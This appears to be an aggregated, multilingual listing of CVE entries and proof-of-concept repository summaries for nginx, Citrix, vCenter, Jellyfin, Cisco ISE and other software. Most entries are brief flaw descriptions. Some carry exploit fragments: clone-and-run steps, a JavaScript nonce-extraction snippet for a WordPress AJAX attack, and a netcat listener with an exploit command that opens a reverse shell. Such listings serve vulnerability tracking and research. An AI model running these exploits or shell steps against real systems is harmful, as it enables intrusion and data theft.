CVE-2017-7529

CVE-2017-7529 Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request. Installation $ git clone...

The vulnerability of the Directum HR Pro system, which exists due to insufficient verification of input data, allows a perpetrator to disclose protected information.

The vulnerability of the Directum HR Pro system exists due to insufficient verification of input data. Exploiting this vulnerability can allow a malicious actor to disclose protected information by sending a specially crafted POST request...

CVE-2023-3519

CVE-2023-3519 This Nuclei template checks for the presence of the CVE-2023-3519 vulnerability in a target web server. Vulnerability CVE-2023-3519 is a vulnerability that allows unauthenticated remote code execution in the Citrix Application Delivery Controller ADC and Gateway appliances. An...

CVE-2025-31651-o

CVE-2025-31651 드문 재작성 규칙 구성의 하위 집합에 대해 특별히 조작된 요청이 일부 재작성 규칙을 우회할 수 있었습니다. 해당 재작성 규칙이 보안 제약 조건을 효과적으로 적용한 경우, 해당 제약 조건이 우회될 수 있었습니다. 0x01 상태 공개 0x02 PoC Finder 참조 CVE-2025-31651.md...

CVE-2023-26984

CVE-2023-26984 Vulnerability Explanation: An issue in the password reset function of Peppermint v0.2.4 allows attackers to access the emails and passwords of the Tickets page via a crafted request. Attack Vectors: The attacker had to log in with the user role and reset the password. Then intercep...

CVE-2023-27163

CVE-2023-27163 Request-Baskets v1.2.1 - サーバーサイドリクエストフォージェリ SSRF request-baskets v1.2.1 以前には、コンポーネント /api/baskets/name を介したサーバーサイドリクエストフォージェリ SSRF が存在することが判明しました。この脆弱性により、攻撃者は細工されたAPIリクエストを介してネットワークリソースや機密情報にアクセスできるようになります。 インストール git clone https://github.com/0xFTW/CVE-2023-27163 cd CVE-2023-27163...

CVE-2022-48474_CVE-2022-48475

CVE-2022-48474 & CVE-2022-48475 CVE-2022-48474 및 CVE-2022-48475에 대한 PoC 및 익스플로잇 "Control de Ciber"는 PC방사이버카페 관리 소프트웨어입니다. 1.650 이전 버전에는 여러 DoS서비스 거부 취약점이 존재합니다. 인증되지 않은 원격 공격자는 정교하게 제작된 요청을 전송하여 서비스 충돌을 유발할 수 있습니다. CVE-2022-48474 버전 DoS 버전 익스플로잇 CVE-2022-48475 프린트 bof 프린트 익스플로잇...

CVE-2022-4896

CVE-2022-4896 CVE-2022-4896에 대한 PoC 및 익스플로잇 "Control de Ciber"는 PC방 관리 소프트웨어입니다. 1.650 이전 버전에는 여러 가지 서비스 거부DoS 취약점이 존재합니다. 인증되지 않은 원격 공격자는 특별히 조작된 요청을 전송하여 서비스 충돌을 유발할 수 있습니다. Spooler DoS Spooler 익스플로잇 PNTMedidas DoS PNTMedidas 익스플로잇 Pedir DoS Pedir 익스플로잇 HayDiscoA DoS HayDiscoA 익스플로잇...

CVE-2017-7529

CVE-2017-7529 설명 Nginx 0.5.6부터 1.13.2까지의 버전은 nginx range filter 모듈의 정수 오버플로 취약점에 영향을 받으며, 특수하게 조작된 요청으로 인해 잠재적으로 민감한 정보가 유출될 수 있습니다. 출처: https://nvd.nist.gov/vuln/detail/CVE-2017-7529 Nginx + Flask 예제 다른 오픈 소스에서는 이 취약점이 Apache2에서만 그리고 이미지 파일에 대해서만 재현될 수 있다는 정보를 찾을 수 있지만, 이는 사실이 아닙니다. 이 취약점은 Nginx...

westone-CVE-2021-21972-scanner

westone-CVE-2021-21972-scanner VMware vCenter Server 원격 코드 실행 취약점입니다. 악의적인 공격자가 443번 포트에 접근하여 vCenter Server에 정교하게 조작된 요청을 보내면, 결국 원격 임의 코드 실행이 발생할 수 있습니다. 설치 및 사용 방법 git clone https://github.com/Osyanina/westone-CVE-2021-21972-scanner.git cd westone-CVE-2021-21972-scanner cmd CVE-2021-21972.exe ...

CVE-2024-25169-Mezzanine-v6.0.0

제품: Mezzanine CMS 버전: v6.0.0 발견 날짜: 10.01.2024. 보고 날짜: 10.01.2024. 취약점 유형: 부적절한 접근 제어. CVE ID: CVE-2024-25169 설명: Mezzanine v6.0.0의 문제로 인해 공격자가 조작된 요청을 통해 관리자 패널의 접근 제어 메커니즘을 우회할 수 있습니다. PoC가 곧 공개됩니다:...

CVE-2006-20001

CVE-2006-20001 정교하게 조작된 If: 요청 헤더는 전송된 헤더 값을 벗어난 풀힙 메모리 위치에서 메모리 읽기 또는 단일 0바이트 쓰기를 유발할 수 있습니다. 이로 인해 프로세스가 충돌할 수 있습니다. 이 문제는 Apache HTTP Server 2.4.54 및 이전 버전에 영향을 미칩니다. 인증| 복잡성| 벡터 ---|---|--- 정보 없음| 정보 없음| 정보 없음 기밀성| 무결성| 가용성 ---|---|--- 정보 없음| 정보 없음| 정보 없음 CVSS 점수: 정보 없음 참조...

CVE-2025-11627

추출된 nonce를 사용하여 AJAX 핸들러에 조작된 요청을 전송하세요. = // 1 find the inline script that contains the AJAX URL const s = ...document.scripts.findsc = sc.textContent.includes'billminozzijserrorcatched'; if !s console.error'Script with ajax URL not found. Is wphead present?'; return; // 2 extract the nonce from...

CVE-2026-23520

CVE-2026-23520 MCP API 원격 명령 실행RCE PoC 📌 개요 이 저장소는 취약한 MCP API 엔드포인트일반적으로 /api/mcp/connect를 노출하는 애플리케이션에 영향을 미치는 원격 명령 실행RCE 취약점에 대한 PoC개념 증명 익스플로잇을 포함합니다. 이 취약점은 조작된 API 요청을 통해 시스템 수준 명령을 실행할 수 있게 합니다. 🚀 빠른 시작 1. 리스너 시작 nc -lvnp ATTACKERPORT 2. 익스플로잇 실행 python3 exploit.py TARGET --lhost...

CVE-2021-21402

CVE-2021-21402 Jellyfin 임의 파일 읽기 취약점 개요 jellyfin은 미디어와 스트리밍을 제어 및 관리하기 위한 자유 소프트웨어 미디어 시스템입니다. emby와 plex의 대안으로, 여러 응용 프로그램을 통해 전용 서버에서 최종 사용자 장치로 미디어를 제공합니다. Jellyfin은 완전한 크로스 플랫폼 지원을 위해 Emby 3.5.2 .NET 핵심 프레임워크를 기반으로 합니다. Jellyfin 10.7.1 버전에서 공격자가 악의적으로 요청을 구성하면 Jellyfin 서버의 파일 시스템에서 임의의 파일을 읽을...

CVE-2024-22889-Plone-v6.0.9

Product: Plone CMS 버전: v6.0.9 발견일: 2024.01.10. 보고일: 2024.01.10. 취약점 유형: 부적절한 접근 제어 CVE ID: CVE-2024-22889 설명: Plone 버전 v6.0.9의 부적절한 접근 제어로 인해, 원격 공격자가 조작된 요청을 전송하여 웹사이트에 호스팅된 모든 파일을 확인하고 나열할 수 있습니다. POC가 곧 제공됩니다:...

Cisco Identity Services Engine (cisco-sa-ise-RADIUS-dos-wR3hYPMw)

According to its self-reported version, Cisco ISE is affected by a vulnerability. - A vulnerability in the RADIUS feature of Cisco Identity Services Engine ISE could allow an unauthenticated, remote attacker to cause a denial of service DoS condition on an affected device. This vulnerability is d...

CVE-2026-76447

A vulnerability in the Online Certificate Status Protocol OCSP responder of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to cause an administrative reload of the OCSP responder certificate and key material. This vulnerability is due to missing authentication on a...

CVE-2026-20247

A vulnerability in Cisco ISE could allow an unauthenticated, remote attacker to conduct SQL injection attacks on an affected device. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted request to an affected...

CVE-2026-76447 Cisco Identity Services Engine Certificate Reload Vulnerability

A vulnerability in the Online Certificate Status Protocol OCSP responder of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to cause an administrative reload of the OCSP responder certificate and key material. This vulnerability is due to missing authentication on a...